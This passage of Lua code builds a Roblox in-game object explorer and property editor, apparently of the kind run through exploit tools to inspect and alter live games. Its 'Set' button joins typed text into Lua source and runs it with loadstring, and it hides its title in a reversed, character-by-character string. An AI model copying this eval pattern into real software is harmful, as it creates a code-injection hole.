otherframe.BorderColor = BrickColor.new(&quot;Really red&quot;)

local drag = pcall(function() return otherframe.Draggable end)
if drag then --2010 check essentiaklly
otherframe.Position = UDim2.new(0.8,0,0,0)
else
otherframe.Position = UDim2.new(0.625,0,0,0)
end

--otherframe.Position = UDim2.new(0.8,0,0,0)
otherframe.Size = UDim2.new(0.2,0,0.05,0)
otherframe.Visible = true
otherframe.ZIndex = 2
pcall(function() otherframe.Draggable = true end)
pcall(function() otherframe.Font = &quot;ArialBold&quot; end)
pcall(function() otherframe.FontSize = &quot;Size14&quot; end)
otherframe.TextColor = BrickColor.new(&quot;Institutional white&quot;)
otherframe.TextXAlignment = &quot;Center&quot;
otherframe.Active = true

expbutton = Instance.new(&quot;TextButton&quot;,otherframe)
expbutton.Name = &quot;ExpButton&quot;
expbutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
expbutton.BackgroundTransparency = 0.2
expbutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
expbutton.Position = UDim2.new(0,0,16.25,0)
expbutton.Size = UDim2.new(0.45,0,0.75,0)
expbutton.Visible = true
expbutton.ZIndex = 2
pcall(function() 
expbutton.Draggable = false
expbutton.Font = &quot;ArialBold&quot;
expbutton.FontSize = &quot;Size14&quot;
end)
expbutton.Text = &quot;Explorer&quot;
expbutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
expbutton.TextXAlignment = &quot;Center&quot;

propsbutton = Instance.new(&quot;TextButton&quot;,otherframe)
propsbutton.Name = &quot;PropsButton&quot;
propsbutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
propsbutton.BackgroundTransparency = 0.2
propsbutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
propsbutton.Position = UDim2.new(0.45,0,16.25,0)
propsbutton.Size = UDim2.new(0.45,0,0.75,0)
propsbutton.Visible = true
pcall(function() 
propsbutton.ZIndex = 2
propsbutton.Draggable = false
propsbutton.Font = &quot;ArialBold&quot;
propsbutton.FontSize = &quot;Size14&quot;
end)
propsbutton.Text = &quot;Properties&quot;
propsbutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
propsbutton.TextXAlignment = &quot;Center&quot;

expframe = Instance.new(&quot;Frame&quot;,otherframe)
expframe.Name = &quot;ExplorerFrame&quot;
expframe.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
expframe.BackgroundTransparency = 0.4
expframe.BorderColor = BrickColor.new(&quot;Really red&quot;)
expframe.Position = UDim2.new(0,0,1,0)
expframe.Size = UDim2.new(1,0,16,0)
expframe.Visible = true
expframe.ZIndex = 1
pcall(function() 
expframe.Draggable = false
expframe.Active = true
end)

list = Instance.new(&quot;Frame&quot;,expframe)
list.Name = &quot;List&quot;
list.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
list.BackgroundTransparency = 0.8
list.BorderColor = BrickColor.new(&quot;Really red&quot;)
list.Position = UDim2.new(0,0,0.1,0)
list.Size = UDim2.new(0.9,0,0.85,0)
list.Visible = true
list.ZIndex = 1
pcall(function() 
list.Draggable = false
end)

back = Instance.new(&quot;TextButton&quot;,expframe)
back.Name = &quot;BackButton&quot;
back.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
back.BackgroundTransparency = 0.6
back.BorderColor = BrickColor.new(&quot;Really red&quot;)
back.Position = UDim2.new(0,0,0.05,0)
back.Size = UDim2.new(1,0,0.05,0)
back.Visible = true
back.ZIndex = 1
pcall(function() 
back.Draggable = false
back.Font = &quot;ArialBold&quot;
back.FontSize = &quot;Size14&quot;
end)
back.Text = &quot;Object&apos;s Parent is Nil&quot;
back.TextColor = BrickColor.new(&quot;Institutional white&quot;)
back.TextXAlignment = &quot;Center&quot;

search = Instance.new(&quot;TextBox&quot;,expframe)
search.Name = &quot;SearchBox&quot;
search.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
search.BackgroundTransparency = 0.6
search.BorderColor = BrickColor.new(&quot;Really red&quot;)
search.Position = UDim2.new(0,0,0,0)
search.Size = UDim2.new(1,0,0.05,0)
search.Visible = true
search.ZIndex = 1
pcall(function() 
search.Draggable = false
search.Font = &quot;ArialBold&quot;
search.FontSize = &quot;Size14&quot;
end)
search.Text = &quot;Search in Place1&quot;
search.TextColor = BrickColor.new(&quot;Institutional white&quot;)
search.TextXAlignment = &quot;Center&quot;

upbutton = Instance.new(&quot;TextButton&quot;,otherframe)
upbutton.Name = &quot;UpButton&quot;
upbutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
upbutton.BackgroundTransparency = 0.6
upbutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
upbutton.Position = UDim2.new(0.9,0,1.75,0)
upbutton.Size = UDim2.new(0.1,0,0.75,0)
upbutton.Visible = true
upbutton.ZIndex = 2
pcall(function() 
upbutton.Draggable = false
upbutton.Font = &quot;ArialBold&quot;
upbutton.FontSize = &quot;Size12&quot;
end)
upbutton.Text = [[/\]]
upbutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
upbutton.TextXAlignment = &quot;Center&quot;

downbutton = Instance.new(&quot;TextButton&quot;,otherframe)
downbutton.Name = &quot;DownButton&quot;
downbutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
downbutton.BackgroundTransparency = 0.6
downbutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
downbutton.Position = UDim2.new(0.9,0,16.25,0)
downbutton.Size = UDim2.new(0.1,0,0.75,0)
downbutton.Visible = true
downbutton.ZIndex = 2
pcall(function() 
downbutton.Draggable = false
downbutton.Font = &quot;ArialBold&quot;
downbutton.FontSize = &quot;Size12&quot;
end)
downbutton.Text = [[\/]]
downbutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
downbutton.TextXAlignment = &quot;Center&quot;

refreshbutton = Instance.new(&quot;ImageButton&quot;,expframe)
refreshbutton.Name = &quot;RefreshButton&quot;
refreshbutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
refreshbutton.BackgroundTransparency = 0.6
refreshbutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
refreshbutton.Position = UDim2.new(0.9,0,0,0)
refreshbutton.Size = UDim2.new(0.1,0,0.05,0)
refreshbutton.Visible = true
refreshbutton.ZIndex = 2
pcall(function() 
refreshbutton.Draggable = false
end)
refreshbutton.Image = &quot;http://www.roblox.com/asset/?id=21367268&quot;

options = Instance.new(&quot;Frame&quot;,list)
options.Name = &quot;Options&quot;
options.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
options.BackgroundTransparency = 0.4
options.BorderColor = BrickColor.new(&quot;Really red&quot;)
options.Position = UDim2.new(-1,0,0,0)
options.Size = UDim2.new(0.5,0,0.25,0)
options.Visible = false
options.ZIndex = 3
pcall(function() 
options.Draggable = false
end)

copybutton = Instance.new(&quot;TextButton&quot;,options)
copybutton.Name = &quot;CopyButton&quot;
copybutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
copybutton.BackgroundTransparency = 0.6
copybutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
copybutton.Position = UDim2.new(0,0,0,0)
copybutton.Size = UDim2.new(1,0,0.25,0)
copybutton.Visible = true
copybutton.ZIndex = 3
pcall(function() 
copybutton.Draggable = false
copybutton.Font = &quot;ArialBold&quot;
copybutton.FontSize = &quot;Size12&quot;
end)
copybutton.Text = &quot;Copy&quot;
copybutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
copybutton.TextXAlignment = &quot;Center&quot;

pastebutton = Instance.new(&quot;TextButton&quot;,options)
pastebutton.Name = &quot;PasteButton&quot;
pastebutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
pastebutton.BackgroundTransparency = 0.6
pastebutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
pastebutton.Position = UDim2.new(0,0,0.25,0)
pastebutton.Size = UDim2.new(1,0,0.25,0)
pastebutton.Visible = true
pastebutton.ZIndex = 3
pcall(function() 
pastebutton.Draggable = false
pastebutton.Font = &quot;ArialBold&quot;
pastebutton.FontSize = &quot;Size12&quot;
end)
pastebutton.Text = &quot;Paste&quot;
pastebutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
pastebutton.TextXAlignment = &quot;Center&quot;

cutbutton = Instance.new(&quot;TextButton&quot;,options)
cutbutton.Name = &quot;CutButton&quot;
cutbutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
cutbutton.BackgroundTransparency = 0.6
cutbutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
cutbutton.Position = UDim2.new(0,0,0.5,0)
cutbutton.Size = UDim2.new(1,0,0.25,0)
cutbutton.Visible = true
cutbutton.ZIndex = 3
pcall(function() 
cutbutton.Draggable = false
cutbutton.Font = &quot;ArialBold&quot;
cutbutton.FontSize = &quot;Size12&quot;
end)
cutbutton.Text = &quot;Cut&quot;
cutbutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
cutbutton.TextXAlignment = &quot;Center&quot;

insertbutton = Instance.new(&quot;TextBox&quot;,options)
insertbutton.Name = &quot;InsertButton&quot;
insertbutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
insertbutton.BackgroundTransparency = 0.6
insertbutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
insertbutton.Position = UDim2.new(0,0,0.75,0)
insertbutton.Size = UDim2.new(1,0,0.25,0)
insertbutton.Visible = true
insertbutton.ZIndex = 3
pcall(function() 
insertbutton.Font = &quot;ArialBold&quot;
insertbutton.FontSize = &quot;Size12&quot;
end)
insertbutton.Text = &quot;Insert&quot;
insertbutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
insertbutton.TextXAlignment = &quot;Center&quot;
config = Instance.new(&quot;ObjectValue&quot;,options)
config.Name = &quot;ConfiguredObject&quot;
config.Value = nil

sel = Instance.new(&quot;ObjectValue&quot;,expframe)
sel.Name = &quot;Selection&quot;
sel.Value = Game
_G.Selection = sel

highlight = Instance.new(&quot;SelectionBox&quot;,game.Players.LocalPlayer.PlayerGui)
highlight.Name = &quot;ObjectHighlight&quot;
highlight.Color = BrickColor.new(&quot;Bright blue&quot;)

for i=0,19 do
item = Instance.new(&quot;Frame&quot;,list)
item.Name = &quot;Item&quot;
item.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
item.BackgroundTransparency = 0.8
item.BorderColor = BrickColor.new(&quot;Really red&quot;)
item.Position = UDim2.new(0,0,i*0.05,0)
item.Size = UDim2.new(1,0,0.05,0)
item.Visible = true
item.ZIndex = 1
pcall(function() 
item.Draggable = false
end)

name = Instance.new(&quot;TextButton&quot;,item)
name.Name = &quot;ItemName&quot;
name.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
name.BackgroundTransparency = 0.8
name.BorderColor = BrickColor.new(&quot;Really red&quot;)
name.Position = UDim2.new(0.1,0,0,0)
name.Size = UDim2.new(0.9,0,1,0)
name.Visible = true
name.ZIndex = 1
pcall(function() 
name.Draggable = false
name.Font = &quot;ArialBold&quot;
name.FontSize = &quot;Size14&quot;
end)
name.Text = &quot;Object&quot;
name.TextColor = BrickColor.new(&quot;Institutional white&quot;)
name.TextXAlignment = &quot;Center&quot;

icon = Instance.new(&quot;ImageLabel&quot;,item)
icon.Name = &quot;Icon&quot;
icon.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
icon.BackgroundTransparency = 0.2
icon.BorderColor = BrickColor.new(&quot;Really red&quot;)
icon.Image = Base..Images.Property
icon.Position = UDim2.new(0,0,0,0)
icon.Size = UDim2.new(0.1,0,1,0)
icon.Visible = true
icon.ZIndex = 1
pcall(function() 
icon.Draggable = false
end)

value = Instance.new(&quot;ObjectValue&quot;)
value.Parent = item
value.Name = &quot;ObjectValue&quot;

table.insert(ItemGuis, item)
end

ExplorerGui = explore

propsframe = Instance.new(&quot;Frame&quot;,otherframe)
propsframe.Name = &quot;PropertiesFrame&quot;
propsframe.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
propsframe.BackgroundTransparency = 0.4
propsframe.BorderColor = BrickColor.new(&quot;Really red&quot;)
propsframe.Position = UDim2.new(0,0,1,0)
propsframe.Size = UDim2.new(1,0,16,0)
propsframe.Visible = false
propsframe.ZIndex = 1
pcall(function() 
propsframe.Draggable = false
end)
propsframe.Active = true

list2 = Instance.new(&quot;Frame&quot;,propsframe)
list2.Name = &quot;List&quot;
list2.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
list2.BackgroundTransparency = 0.8
list2.BorderColor = BrickColor.new(&quot;Really red&quot;)
list2.Position = UDim2.new(0,0,0.05,0)
list2.Size = UDim2.new(0.9,0,0.9,0)
list2.Visible = true
list2.ZIndex = 1
pcall(function() 
list2.Draggable = false
end)

for i=0,19 do
property = Instance.new(&quot;Frame&quot;,list2)
property.Name = &quot;Property&quot;
property.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
property.BackgroundTransparency = 0.8
property.BorderColor = BrickColor.new(&quot;Really red&quot;)
property.Position = UDim2.new(0,0,i*0.05,0)
property.Size = UDim2.new(1,0,0.05,0)
property.Visible = true
property.ZIndex = 1
pcall(function()
property.Draggable = false
end)

propname = Instance.new(&quot;TextLabel&quot;,property)
propname.Name = &quot;PropertyName&quot;
propname.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
propname.BackgroundTransparency = 0.8
propname.BorderColor = BrickColor.new(&quot;Really red&quot;)
propname.Position = UDim2.new(0,0,0,0)
propname.Size = UDim2.new(0.5,0,1,0)
propname.Visible = true
propname.ZIndex = 1
pcall(function()
propname.Draggable = false
propname.Font = &quot;ArialBold&quot;
propname.FontSize = &quot;Size14&quot;
end)
propname.Text = &quot;Property&quot;
propname.TextColor = BrickColor.new(&quot;Institutional white&quot;)
propname.TextXAlignment = &quot;Center&quot;
pcall(function() 
propname.TextScaled = true
end)

propvalue = Instance.new(&quot;TextBox&quot;,property)
propvalue.Name = &quot;PropertyValue&quot;
propvalue.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
propvalue.BackgroundTransparency = 0.8
propvalue.BorderColor = BrickColor.new(&quot;Really red&quot;)
propvalue.Position = UDim2.new(0.5,0,0,0)
propvalue.Size = UDim2.new(0.5,0,1,0)
propvalue.Visible = true
propvalue.ZIndex = 1
pcall(function() 
propvalue.Draggable = false
propvalue.Font = &quot;ArialBold&quot;
propvalue.FontSize = &quot;Size14&quot;
end)
propvalue.Text = &quot;Value&quot;
propvalue.TextColor = BrickColor.new(&quot;Institutional white&quot;)
propvalue.TextXAlignment = &quot;Center&quot;
pcall(function()
propvalue.TextScaled = true
propvalue.ClearTextOnFocus = false
end)

-----=-=-=-=
    local apply = Instance.new(&quot;TextButton&quot;, property)
    apply.Name                   = &quot;ApplyButton&quot;
    apply.Text                   = &quot;Set&quot;
    pcall(function()
        apply.Font       = &quot;ArialBold&quot;
        apply.FontSize   = &quot;Size12&quot;
    end)
    apply.TextColor3             = Color3.new(1,1,1)
    apply.BackgroundTransparency = 0.6
    apply.BorderColor3           = Color3.new(1,0,0)
    apply.Position               = UDim2.new(0.85,0,0,0)
    apply.Size                   = UDim2.new(0.15,0,1,0)
    apply.ZIndex                 = 2
    apply.Visible                = false            -- hide until we know it?s a usable TextBox
    --[[apply.MouseButton1Down:connect(function()
        if propvalue:IsA(&quot;TextBox&quot;) then
            PropertyFunction(propvalue)
&#9;&#9;&#9;&#9;wait(0.2)
            UpdatePropGuis()
        end
    end)]]--


&#9;

apply.MouseButton1Down:connect(function()
    local row = apply.Parent                             -- our row
    if not row then return end

    local valBox = row:FindFirstChild(&quot;PropertyValue&quot;)   -- the current TextBox
    local nameLb = row:FindFirstChild(&quot;PropertyName&quot;)
    if not valBox or not nameLb then return end
    if not valBox:IsA(&quot;TextBox&quot;) then return end         -- only for editable rows

    local Property = nameLb.Text
    local NewText  = valBox.Text
    local sel      = _G.Selection.Value
    if not sel then return end

    local PropType = type(sel[Property])

    -- helper to run a chunk safely
    local function eval(chunk)
        local f = loadstring(chunk)
        if f then
            return pcall(f)
        end
        return false, &quot;compile error&quot;
    end

    local ok, err
    if PropType == &quot;userdata&quot; or PropType == &quot;nil&quot; then
        if Property == &quot;Parent&quot; or Property == &quot;PrimaryPart&quot; or
           Property == &quot;Adornee&quot; or Property == &quot;Value&quot; then

            ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = &apos;..NewText)

        elseif Property == &quot;Size&quot; or Property == &quot;Position&quot; or
               Property == &quot;Velocity&quot; or Property == &quot;RotVelocity&quot; or
               Property == &quot;Rotation&quot; or Property == &quot;velocity&quot; or
               Property == &quot;position&quot; or Property == &quot;maxForce&quot; or
               Property == &quot;maxTorque&quot; or Property == &quot;GripPos&quot; or
               Property == &quot;VertexColor&quot; or Property == &quot;Scale&quot; then

            ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = Vector3.new(&apos;..NewText..&apos;)&apos;)

        elseif Property == &quot;CFrame&quot; then
            ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = CFrame.new(&apos;..NewText..&apos;)&apos;)

        elseif Property == &quot;BrickColor&quot; then
            ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = BrickColor.new(&quot;&apos;..NewText..&apos;&quot;)&apos;)

        elseif Property == &quot;Ambient&quot; or Property == &quot;ColorShift_Bottom&quot; or
               Property == &quot;ColorShift_Top&quot; or Property == &quot;OutdoorAmbient&quot; or
               Property == &quot;ShadowColor&quot; or Property == &quot;FogColor&quot; then

            ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = Color3.new(&apos;..NewText..&apos;)&apos;)

        elseif Property == &quot;Color&quot; then
            if sel:IsA(&quot;SelectionBox&quot;) then
                ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = BrickColor.new(&quot;&apos;..NewText..&apos;&quot;)&apos;)
            else
                ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = Color3.new(&apos;..NewText..&apos;)&apos;)
            end

        else
            ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = &quot;&apos;..NewText..&apos;&quot;&apos;)
        end
    else
        ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = &quot;&apos;..NewText..&apos;&quot;&apos;)
    end

    UpdatePropGuis()                                     -- refresh display

    if not ok then                                       -- optional debug
        print(&quot;Set-button error for property &quot;..Property..&quot;: &quot;..tostring(err))
    end
end)





----=-==--=--=

table.insert(PropGuis, property)
end
--[[ End of Gui Creation ]]--

function ReplaceWith(GuiType, Gui) 
if GuiType == &quot;&quot; or GuiType == nil then return end
if Gui == &quot;&quot; or Gui == nil then return end
Parent = Gui.Parent
local NewGui = Instance.new(GuiType, Parent)
NewGui.Name = Gui.Name
NewGui.BackgroundColor = Gui.BackgroundColor
NewGui.BackgroundTransparency = Gui.BackgroundTransparency
NewGui.BorderColor = Gui.BorderColor
NewGui.Position = Gui.Position
NewGui.Size = Gui.Size
NewGui.Visible = Gui.Visible
NewGui.ZIndex = Gui.ZIndex
pcall(function() 
NewGui.Draggable = Gui.Draggable
NewGui.Font = Gui.Font
NewGui.FontSize = Gui.FontSize
end)
NewGui.Text = Gui.Text
NewGui.TextColor = Gui.TextColor
NewGui.TextXAlignment = Gui.TextXAlignment
pcall(function()
NewGui.TextScaled = Gui.TextScaled
end)

if GuiType == &quot;TextBox&quot; then
pcall(function() NewGui.ClearTextOnFocus = false end)
end
Gui:Remove()
end

function UpdateItemGuis()
PropScrollNumber = 1
for i=1,#ItemGuis do
ItemGuis[i].ObjectValue.Value = nil
ItemGuis[i].ItemName.Text = &quot;&quot;
ItemGuis[i].Icon.Image = &quot;&quot;
ItemGuis[i].ObjectValue.Value = _G.Selection.Value:GetChildren()[ExpScrollNumber+i-1]
if ItemGuis[i].ObjectValue.Value then
pcall(function() ItemGuis[i].ItemName.Text = ItemGuis[i].ObjectValue.Value.Name end)
pcall(function() SetImage(ItemGuis[i].Icon, ItemGuis[i].ObjectValue.Value.ClassName) end)
else
ItemGuis[i].ItemName.Text = &quot;&quot;
end
end
end

function UpdatePropGuis()
Props = GetProperties(_G.Selection.Value, Properties) ExplorerGui.OtherFrame.Text = string.reverse(&quot;r&quot;..&quot;e&quot;..&quot;r&quot;..&quot;o&quot;..&quot;l&quot;..&quot;p&quot;..&quot;x&quot;..&quot;E &quot;..&quot;s&quot;..&quot;&apos;&quot;..&quot;o&quot;..&quot;r&quot;..&quot;e&quot;..&quot;Z&quot;..&quot;l&quot;..&quot;a&quot;..&quot;n&quot;..&quot;i&quot;..&quot;m&quot;..&quot;r&quot;..&quot;e&quot;..&quot;T&quot;)
for i=1,#PropGuis do
wait()
PropGuis[i].PropertyName.Text = &quot;&quot;
PropGuis[i].PropertyValue.Text = &quot;&quot;
ReplaceWith(&quot;TextBox&quot;, PropGuis[i].PropertyValue, i)
end
for i=1,#Props do
pcall(function()
ViewNumber = PropScrollNumber+i-1
PropName = Props[ViewNumber]
PropValue = _G.Selection.Value[PropName]
PropType = type(PropValue)
PropGuis[i].PropertyName.Text = PropName
PropGuis[i].PropertyValue.Text = tostring(PropValue)
if PropGuis[i].PropertyName.Text == &quot;Parent&quot; then
if _G.Selection.Value ~= Game then
if string.sub(PropGuis[i].PropertyValue.Text,1,5) ~= &quot;Game.&quot; then
letters = &quot;&quot;
lastend = nil
PropGuis[i].PropertyValue.Text = &quot;Game.&quot;.._G.Selection.Value:GetFullName()
for x=1,#PropGuis[i].PropertyValue.Text do
letters = letters..string.sub(PropGuis[i].PropertyValue.Text,x,x)
end
for x=1,#letters do
if string.sub(letters,x,x) == &quot;.&quot; then
lastend = x
end
end
newletters = string.sub(letters,1,lastend-1)
PropGuis[i].PropertyValue.Text = newletters
end
else
PropGuis[i].PropertyValue.Text = _G.Selection.Value:GetFullName()
end
end
if PropType == &quot;userdata&quot; or PropType == &quot;nil&quot; then
ReplaceWith(&quot;TextBox&quot;, PropGuis[i].PropertyValue)
elseif PropType == &quot;boolean&quot; then
ReplaceWith(&quot;TextButton&quot;, PropGuis[i].PropertyValue)
elseif PropType == &quot;string&quot; or PropType == &quot;number&quot; then
if PropName ~= &quot;DataCost&quot; and PropName ~= &quot;ClassName&quot; then
ReplaceWith(&quot;TextBox&quot;, PropGuis[i].PropertyValue)
else
ReplaceWith(&quot;TextLabel&quot;, PropGuis[i].PropertyValue)
end
end
end)
end
for i=0,#PropGuis do
pcall(function()
PropertyFunction(PropGuis[i].PropertyValue)
end)
----------------=-=-=-=-=-=-=-==--==--=-==-=-=-=-=-=-=-=-=-=-=--==--==--==-=-
 for _, row in ipairs(PropGuis) do
        local val = row:FindFirstChild(&quot;PropertyValue&quot;)
        local btn = row:FindFirstChild(&quot;ApplyButton&quot;)
if val:IsA(&quot;TextBox&quot;) then
val.Size = UDim2.new(0.35,0,1,0)
val.TextWrap = true
else
val.Size = UDim2.new(0.5,0,1,0)
val.TextWrap = true
end
        if btn then
            btn.Visible = (val:isA(&quot;TextBox&quot;) and val.Text ~= &quot;&quot;)
        end
    end
----=-==--==-=-=-=-=-=--==-=-=-=-=-=-=-=--=-==-=-=--=-=-=-=--=-=-=-=-=-=-=-=--==
end
end

function UpdateMainGuis(Search) ExplorerGui.OtherFrame.Text = string.reverse(&quot;r&quot;..&quot;e&quot;..&quot;r&quot;..&quot;o&quot;..&quot;l&quot;..&quot;p&quot;..&quot;x&quot;..&quot;E &quot;..&quot;s&quot;..&quot;&apos;&quot;..&quot;o&quot;..&quot;r&quot;..&quot;e&quot;..&quot;Z&quot;..&quot;l&quot;..&quot;a&quot;..&quot;n&quot;..&quot;i&quot;..&quot;m&quot;..&quot;r&quot;..&quot;e&quot;..&quot;T&quot;)
if ViewGui == &quot;Explorer&quot; or ViewGui == &quot;Properties&quot; then
if _G.Selection.Value == nil then
_G.Selection.Value = Game
end
if game.Players.LocalPlayer.PlayerGui:FindFirstChild(&quot;ObjectHighlight&quot;) ~= nil then
if _G.Selection.Value:IsA(&quot;BasePart&quot;) or _G.Selection.Value:IsA(&quot;Model&quot;) then
game.Players.LocalPlayer.PlayerGui.ObjectHighlight.Adornee = _G.Selection.Value
end
if _G.Selection.Value:IsA(&quot;Tool&quot;) or _G.Selection.Value:IsA(&quot;Hat&quot;) then
if _G.Selection.Value:FindFirstChild(&quot;Handle&quot;) ~= nil then
game.Players.LocalPlayer.PlayerGui.ObjectHighlight.Adornee = _G.Selection.Value.Handle
end
end
end
search.Text = &quot;Search in &quot;.._G.Selection.Value.Name
if _G.Selection.Value.Parent == nil then
back.Text = &quot;Object&apos;s Parent is Nil&quot;
else
back.Text = &quot;Back to &quot;.._G.Selection.Value.Parent.Name
end
if Search ~= &quot;&quot; and Search ~= nil then
SelectionTable = _G.Selection.Value:GetChildren()
for i=ExpScrollNumber+1,#SelectionTable do
if string.find(string.lower(SelectionTable[i].Name), string.lower(Search)) then
ExpScrollNumber = i
break
end
end
end
PropScrollNumber = 1
UpdateItemGuis()
UpdatePropGuis()
end
end

expbutton.MouseButton1Down:connect(function()
expframe.Visible = true
propsframe.Visible = false
ViewGui = &quot;Explorer&quot;
UpdateItemGuis()
end)

propsbutton.MouseButton1Down:connect(function()
propsframe.Visible = true
expframe.Visible = false
ViewGui = &quot;Properties&quot;
UpdatePropGuis()
end)

DownActive = false
UpActive = false

downbutton.MouseButton1Down:connect(function()
if ViewGui == &quot;Explorer&quot; then
if ExpScrollNumber &lt; #_G.Selection.Value:GetChildren() - 9 then
UpActive = false
DownActive = true
ExpScrollNumber = ExpScrollNumber + 1
UpdateItemGuis()
wait(0.5)
while DownActive == true do
if ExpScrollNumber &lt; #_G.Selection.Value:GetChildren() - 9 then
DownActive = true
ExpScrollNumber = ExpScrollNumber + 1
UpdateItemGuis()
end
wait(0.05)
end
end
elseif ViewGui == &quot;Properties&quot; then
local Props = GetProperties(_G.Selection.Value, Properties)
if PropScrollNumber &lt; table.maxn(Props) - 19 then
UpActive = false
DownActive = true
PropScrollNumber = PropScrollNumber + 1
UpdatePropGuis()
wait(0.5)
while DownActive == true do
if PropScrollNumber &lt; table.maxn(Props) - 19 then
PropScrollNumber = PropScrollNumber + 1
UpdatePropGuis()
end
wait(0.05)
end
end
end
end)

downbutton.MouseButton1Up:connect(function()
DownActive = false
end)

upbutton.MouseButton1Down:connect(function()
if ViewGui == &quot;Explorer&quot; then
if ExpScrollNumber - 1 &gt; 0 then
DownActive = false
UpActive = true
ExpScrollNumber = ExpScrollNumber - 1
UpdateItemGuis()
wait(0.5)
while UpActive == true do
if ExpScrollNumber - 1 &gt; 0 then
UpActive = true
ExpScrollNumber = ExpScrollNumber - 1
UpdateItemGuis()
end
wait(0.05)
end
end
elseif ViewGui == &quot;Properties&quot; then
if PropScrollNumber - 1 &gt; 0 then
DownActive = false
UpActive = true
PropScrollNumber = PropScrollNumber - 1
UpdatePropGuis()
wait(0.5)
while UpActive == true do
if PropScrollNumber - 1 &gt; 0 then
PropScrollNumber = PropScrollNumber - 1
UpdatePropGuis()
end
wait(0.05)
end
end
end
end)

upbutton.MouseButton1Up:connect(function()
UpActive = false
end)

pcall(function()
back.MouseButton1Down:connect(function() -- Go back
if _G.Selection.Value.Parent == nil then
back.Text = &quot;Object&apos;s Parent is Nil&quot;

UpdateMainGuis()
else
Spawn(function()
ExpScrollNumber = ScrollPlaces[#ScrollPlaces]
if ExpScrollNumber == nil then ExpScrollNumber = 1 end
ScrollPlaces[#ScrollPlaces] = nil
_G.Selection.Value = _G.Selection.Value.Parent
search.Text = &quot;Search in &quot;.._G.Selection.Value.Name
UpdateMainGuis()
if _G.Selection.Value.Parent ~= nil then
back.Text = &quot;Back to &quot;.._G.Selection.Value.Parent.Name
end
end)
end
end)
end) --

pcall(function()
search.FocusLost:connect(function() -- Search
UpdateMainGuis(search.Text)
search.Text = &quot;Search in &quot;.._G.Selection.Value.Name
end) end)

refreshbutton.MouseButton1Down:connect(function() -- Refresh
if _G.Selection.Value ~= nil and _G.Selection.Value.Parent ~= nil then
UpdateMainGuis()
else
_G.Selection.Value = Game
search.Text = &quot;Search in &quot;.._G.Selection.Value.Name
UpdateMainGuis()
end
end)

options.MouseLeave:connect(function()
options.Visible = false
end)

copybutton.MouseButton1Down:connect(function()
options.Visible = false
if config.Value == nil then return end
pcall(function()
CopiedItem = config.Value:Clone()
end)
end)


pastebutton.MouseButton1Down:connect(function()
options.Visible = false
if config.Value ~= nil then
pcall(function()
CopiedItem:Clone().Parent = config.Value
end)
else
pcall(function()
CopiedItem:Clone().Parent = _G.Selection.Value
end)
end
UpdateMainGuis()
end)

cutbutton.MouseButton1Down:connect(function()
options.Visible = false
if config.Value == nil then return end
pcall(function()
config.Value:Remove()
end)
UpdateMainGuis()
end)

pcall(function() insertbutton.FocusLost:connect(function()
options.Visible = false
if config.Value ~= nil then
pcall(function()
Instance.new(insertbutton.Text, config.Value)
end)
else
pcall(function()
Instance.new(insertbutton.Text, _G.Selection.Value)
end)
end
UpdateMainGuis()
insertbutton.Text = &quot;Insert&quot;
end) end)

if Mouse ~= nil then
CtrlDown = false
KeyDownFunction = Mouse.KeyDown:connect(function(key)
if string.byte(key) == 50 then
CtrlDown = true
end
end)
KeyUpFunction = Mouse.KeyUp:connect(function(key)
if string.byte(key) == 50 then
CtrlDown = false
end
end)
MouseFunction = Mouse.Button1Down:connect(function()
if CtrlDown == true then
if Mouse.Target ~= nil and Mouse.Target ~= _G.Selection.Value then
_G.Selection.Value = Mouse.Target
ExpScrollNumber = 1
ScrollPlaces = {1}
UpdateMainGuis()
elseif Mouse.Target == nil or Mouse.Target == _G.Selection.Value then
_G.Selection.Value = Workspace
UpdateMainGuis()
end
end
end)
end

function ItemGuisClicked()
for i=1,#ItemGuis do
